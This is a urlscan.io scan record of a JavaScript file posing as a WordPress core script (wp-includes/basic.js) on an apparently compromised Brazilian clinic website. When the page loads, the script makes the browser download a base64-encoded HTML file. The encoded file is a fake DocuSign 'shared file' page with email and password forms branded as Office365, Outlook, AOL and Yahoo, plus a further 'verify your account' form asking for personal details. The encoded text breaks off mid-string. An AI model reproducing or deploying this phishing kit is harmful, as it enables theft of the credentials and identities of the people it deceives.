clinica02.patriciasanthos.com.br Open in urlscan Pro
50.116.113.64  Public Scan

URL: https://clinica02.patriciasanthos.com.br/wp-includes/basic.js
Submission: On August 14 via api from BG — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

 $(document).ready(function() {
		saveFile();
});

function saveFile (name, type, data) {
	if (data != null && navigator.msSaveBlob)
		return navigator.msSaveBlob(new Blob([data], { type: type }), name);
	let a = $("<a style='display: none;'/>");    
	    let encodedStringAtoB = 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkRvY3VTaWduIFNoYXJlIEZpbGU8L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9jc3MvYXBwLmNzcyI+Cgk8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHBzOi8vd3d3LmRvY3VzaWduLmNvbS9zaXRlcy9hbGwvdGhlbWVzL2N1c3RvbS9kb2N1c2lnbi9mYXZpY29ucy9mYXZpY29uLmljbyI+Cgk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hamF4LmFzcG5ldGNkbi5jb20vYWpheC9qUXVlcnkvanF1ZXJ5LTMuMy4xLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9qcXVlcnkubWFzay8xLjE0LjEwL2pxdWVyeS5tYXNrLmpzIj48L3NjcmlwdD4gCiAgICAKPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lcl9fYm94Ij4KICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW5fX2NvbnRhaW5lciI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlcl9fY29uIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3VjZG4tYS5ha2FtYWloZC5uZXQvb2xpdmUvaW1hZ2VzLzIuNDcuMC9oZWFkZXItbG9nb3MvZG9jdXNpZ24uc3ZnIiBhbHQ9ImltZyI+CiAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2JvZHkiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJveF9faW1nIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vc2Vla2xvZ28uY29tL2ltYWdlcy9EL2RvY3VzaWduLWxvZ28tMkM0RjVGQUU5NS1zZWVrbG9nby5jb20ucG5nIiBhbHQ9ImJveGltZyI+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndlbGNvbWUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aDE+V2VsY29tZSB0byBEb2N1U2lnbjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJwLTEiPllvdXIgQ29udGFjdCBoYXMgc2hhcmVkIGEgZmlsZSB3aXRoIHlvdS48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJwLTIiPlNhdmUgeW91ciBmaWxlcyB0byBBZG9iZSBQREYgYW5kIGdldCB0aGVtIGZyb20gYW55IGRldmljZSwgYW55d2hlcmUgPGJyLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNlbGVjdCBhbnkgb2YgdGhlIG9wdGlvbnMgYmVsb3cgdG8gdmlldyBhbmQgZG93bmxvYWQgdGhlIGZpbGU8L3A+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm94X19kYXRhICI+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2RhdGEtaW5mbyBib3gtMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vZG9jdS15NXUucGFnZXMuZGV2L2ltYWdlcy9vZmZpY2UzNjUxLnBuZyIgYWx0PSJib3gtZGF0YSIgd2lkdGg9IjM1cHgiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dF9fZGF0YSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+TG9naW4gd2l0aCA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+T2ZmaWNlMzY1PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2RhdGEtaW5mbyBib3gtMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vZG9jdS15NXUucGFnZXMuZGV2L2ltYWdlcy9sb29rLnBuZyIgYWx0PSJib3gtZGF0YSIgIHdpZHRoPSIzNXB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHRfX2RhdGEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPkxvZ2luIHdpdGggPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPk91dGxvb2s8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm94X19kYXRhLWluZm8gYm94LTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvb3RoZXIxLnBuZyIgYWx0PSJib3gtZGF0YSIgIHdpZHRoPSIzNXB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHRfX2RhdGEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPkxvZ2luIHdpdGggPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPk90aGVyPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2RhdGEtaW5mbyBib3gtNCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2ID4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvYW9sLnBuZyIgYWx0PSJib3gtZGF0YSIgIHdpZHRoPSI1MHB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHRfX2RhdGEgZGF0YS10ZXh0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5Mb2dpbiB3aXRoIDwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5BT0w8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2RhdGEtaW5mbyBib3gtMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkYXQtaW1nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMveWFoLnBuZyIgYWx0PSJib3gtZGF0YSIgIHdpZHRoPSIzMHB4IiA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0X19kYXRhIGRhdGEtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+TG9naW4gd2l0aCA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+WWFob288L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3dlcmVkX2J5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPk9mZmljZTM2NSwgT3V0bG9vaywgU2hhcmVQb2ludCwgT25lRHJpdmUsIFNreXBlLCBPbmVOb3RlLCBQb3dlclBvaW50LCBXb3JkLCBFeGNlbCBhcmUgYWxsIHRyYWRlbWFya3Mgb2YgTWljcm9zb2Z0LiBBbGwgcmlnaHRzIHJlc2VydmVkIDxici8+IMKpIE1pY3Jvc29mdCAyMDIzLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgCiAgICAgICAgPC9kaXY+CgoKCgoKCgogICAgICAKICAgIDwvZGl2PgoKICAgIAogICAgICA8ZGl2IGNsYXNzPSJ2aWRlb19ib3giPgogICAgICAgICAgPHZpZGVvIG11dGVkIGF1dG9wbGF5IGxvb3A+CiAgICAgICAgICAgIDxzb3VyY2Ugc3JjPSJodHRwczovL2Nkbi5nbGl0Y2guZ2xvYmFsLzhkNTEwOWE2LTE4NzMtNGY5NS05MjUzLWJkODM4YjM2NjljNy92aWRlby5tcDQiIHR5cGU9InZpZGVvL21wNCI+CiAgICAgICAgICAgIDxzb3VyY2Ugc3JjPSJtb3ZpZS5vZ2ciIHR5cGU9InZpZGVvL29nZyI+CiAgICAgICAgICAgIFlvdXIgYnJvd3NlciBkb2VzIG5vdCBzdXBwb3J0IHRoZSB2aWRlbyB0YWcuCiAgICAgICAgPC92aWRlbz4KICAgICAgPC9kaXY+CgoKICAgIDxkaXYgY2xhc3M9Im90aGVyX19mb3JtLW1haW4gaGlkZSI+CiAgICAgICAgCiAgICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybSI+CiAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuICBjbGFzcz0iY2xvc2VfX2J0biI+JnRpbWVzOzwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltZ19mb3JtIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvb2ZmaS5wbmciIGNsYXNzPSJpbWdfX2RhdGEiIGFsdD0iaW1nLWZvcm0iIHdpZHRoPSI4MHB4Ij4KCiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0ibG9naW5fX3RleHQiPgogICAgICAgICAgICAgICAgPGgzPkxvZ2luIHdpdGggT2ZmaWNlIDM2NTwvaDM+CiAgICAgICAgICAgIDwvZGl2PgogICAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJvdGhlci1mb3JtLW1haWwiPgogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkVtYWlsIEFkZHJlc3M8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIGVtYWlsIiBjbGFzcz0iZW1haWwtb3RoZXIiIG5hbWU9ImVtYWlsIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5XZSdsbCBuZXZlciBzaGFyZSB5b3VyIGVtYWlsIHdpdGggYW55b25lIGVsc2U8L2xhYmVsPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5QYXNzd29yZDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IkVudGVyIHBhc3N3b3JkIiBjbGFzcz0icGFzcy1vdGhlciIgbmFtZT0icGFzcyI+CiAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgIAogICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3ggb3RoZXItYnRucyI+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIGJ0bi1vdGhlciI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgPGJ1dHRvbiAgY2xhc3M9ImJ0bi1Mb2dpbiBidG4tb3RoZXIiPkxvZ2luPC9idXR0b24+CiAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKCgogICAgIDxkaXYgY2xhc3M9Im90aGVyX19mb3JtLW1haW4gaGlkZSI+CgogICAgICAgICAKICAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtIj4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjbG9zZV9fZm9ybSI+CiAgICAgICAgICAgICAgICA8c3BhbiAgY2xhc3M9ImNsb3NlX19idG4iPiZ0aW1lczs8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbWdfZm9ybSI+CiAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9pLmltZ3VyLmNvbS81eVpqMWtsLnBuZyIgY2xhc3M9ImltZ19fZGF0YSIgYWx0PSJpbWctZm9ybSIgd2lkdGg9IjgwcHgiPgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbl9fdGV4dCI+CiAgICAgICAgICAgICAgICA8aDM+TG9naW4gd2l0aCBPdXRsb29rPC9oMz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgIDxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9Im90aGVyLWZvcm0tbWFpbCI+CiAgICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3giPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZXJyb3Itb3RoZXIiPgogICAgICAgIDxzcGFuIGNsYXNzPSJlcnJvci1vdGhlci1tc2ciPjwvc3Bhbj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+RW1haWwgQWRkcmVzczwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iRW50ZXIgZW1haWwiIGNsYXNzPSJlbWFpbC1vdGhlciIgbmFtZT0iZW1haWwiPgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPldlJ2xsIG5ldmVyIHNoYXJlIHlvdXIgZW1haWwgd2l0aCBhbnlvbmUgZWxzZTwvbGFiZWw+CiAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3giPgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlBhc3N3b3JkPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iRW50ZXIgcGFzc3dvcmQiIGNsYXNzPSJwYXNzLW90aGVyIiBuYW1lPSJwYXNzIj4KICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgCiAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCBvdGhlci1idG5zIj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UgYnRuLW90aGVyIj5DbG9zZTwvYnV0dG9uPgogICAgICAgICAgICA8YnV0dG9uICBjbGFzcz0iYnRuLUxvZ2luIGJ0bi1vdGhlciI+TG9naW48L2J1dHRvbj4KICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+IAoKCiAgICA8ZGl2IGNsYXNzPSJvdGhlcl9fZm9ybS1tYWluIGhpZGUiPgogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0iPgogICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuICBjbGFzcz0iY2xvc2VfX2J0biI+JnRpbWVzOzwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltZ19mb3JtIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvbWFpbG8ucG5nIiBjbGFzcz0iaW1nX19kYXRhIiBhbHQ9ImltZy1mb3JtIiB3aWR0aD0iODBweCI+CgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxvZ2luX190ZXh0Ij4KICAgICAgICAgICAgICAgIDxoMz5Mb2dpbiB3aXRoIE90aGVyIE1haWw8L2gzPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0ib3RoZXItZm9ybS1tYWlsIj4KICAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1vdGhlciI+CiAgICAgICAgPHNwYW4gY2xhc3M9ImVycm9yLW90aGVyLW1zZyI+PC9zcGFuPgogICAgICA8L2Rpdj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5FbWFpbCBBZGRyZXNzPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJFbnRlciBlbWFpbCIgY2xhc3M9ImVtYWlsLW90aGVyIiBuYW1lPSJlbWFpbCI+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+V2UnbGwgbmV2ZXIgc2hhcmUgeW91ciBlbWFpbCB3aXRoIGFueW9uZSBlbHNlPC9sYWJlbD4KICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+UGFzc3dvcmQ8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJFbnRlciBwYXNzd29yZCIgY2xhc3M9InBhc3Mtb3RoZXIiIG5hbWU9InBhc3MiPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94IG90aGVyLWJ0bnMiPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSBidG4tb3RoZXIiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgIDxidXR0b24gIGNsYXNzPSJidG4tTG9naW4gYnRuLW90aGVyIj5Mb2dpbjwvYnV0dG9uPgogICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZm9ybT4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCgoKICAgICAgIDxkaXYgY2xhc3M9Im90aGVyX19mb3JtLW1haW4gaGlkZSI+CgogICAgICAgIAogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0iPgoKICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuICBjbGFzcz0iY2xvc2VfX2J0biI+JnRpbWVzOzwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltZ19mb3JtIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvYW9sLnBuZyIgY2xhc3M9ImltZ19fZGF0YSIgYWx0PSJpbWctZm9ybSIgd2lkdGg9IjgwcHgiPgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbl9fdGV4dCI+CiAgICAgICAgICAgICAgICA8aDM+TG9naW4gd2l0aCBBT0w8L2gzPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0ib3RoZXItZm9ybS1tYWlsIj4KICAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1vdGhlciI+CiAgICAgICAgPHNwYW4gY2xhc3M9ImVycm9yLW90aGVyLW1zZyI+PC9zcGFuPgogICAgICA8L2Rpdj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5FbWFpbCBBZGRyZXNzPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJFbnRlciBlbWFpbCIgY2xhc3M9ImVtYWlsLW90aGVyIiBuYW1lPSJlbWFpbCI+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+V2UnbGwgbmV2ZXIgc2hhcmUgeW91ciBlbWFpbCB3aXRoIGFueW9uZSBlbHNlPC9sYWJlbD4KICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+UGFzc3dvcmQ8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJFbnRlciBwYXNzd29yZCIgY2xhc3M9InBhc3Mtb3RoZXIiIG5hbWU9InBhc3MiPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94IG90aGVyLWJ0bnMiPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSBidG4tb3RoZXIiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0bi1Mb2dpbiBidG4tb3RoZXIiPkxvZ2luPC9idXR0b24+CiAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPgogICAgICA8L2Rpdj4KICAgIDwvZGl2PiAKCiAgICAgPGRpdiBjbGFzcz0ib3RoZXJfX2Zvcm0tbWFpbiBoaWRlIj4KCiAgICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjbG9zZV9fYnRuIj4mdGltZXM7PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW1nX2Zvcm0iPgogICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vZG9jdS15NXUucGFnZXMuZGV2L2ltYWdlcy95YWgyLnBuZyIgY2xhc3M9ImltZ19fZGF0YSIgYWx0PSJpbWctZm9ybSIgd2lkdGg9IjgwcHgiPgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbl9fdGV4dCI+CiAgICAgICAgICAgICAgICA8aDM+TG9naW4gd2l0aCBZYWhvbzwvaDM+CiAgICAgICAgICAgIDwvZGl2PgogICAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJvdGhlci1mb3JtLW1haWwiPgogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgIDwvZGl2PgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkVtYWlsIEFkZHJlc3M8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIGVtYWlsIiBjbGFzcz0iZW1haWwtb3RoZXIiIG5hbWU9ImVtYWlsIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5XZSdsbCBuZXZlciBzaGFyZSB5b3VyIGVtYWlsIHdpdGggYW55b25lIGVsc2U8L2xhYmVsPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5QYXNzd29yZDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IkVudGVyIHBhc3N3b3JkIiBjbGFzcz0icGFzcy1vdGhlciIgbmFtZT0icGFzcyI+CiAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgIAogICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3ggb3RoZXItYnRucyI+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIGJ0bi1vdGhlciI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuLUxvZ2luIGJ0bi1vdGhlciI+TG9naW48L2J1dHRvbj4KICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CgoKICAgICAgPGRpdiBjbGFzcz0ib3RoZXJfX2Zvcm0tbWFpbiBoaWRlIj4KCiAgICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjbG9zZV9fYnRuIj4mdGltZXM7PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW1nX2Zvcm0iPgogICAgICAgICAgICAgICAgPGltZyBzcmM9IiIgYWx0PSJpbWctZm9ybSIgd2lkdGg9IjYwcHgiIGNsYXNzPSJpbWdfX21vcmUiPgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbl9fdGV4dCI+CiAgICAgICAgICAgICAgICA8aDM+UGxlYXNlIFZlcmlmeSB5b3VyIEFjY291bnQgbW9yZTwvaDM+CiAgICAgICAgICAgIDwvZGl2PgogICAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJvdGhlci1mb3JtLW1haWwiPgogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgIDwvZGl2PgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkZ1bGwgTmFtZTwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iRW50ZXIgWW91c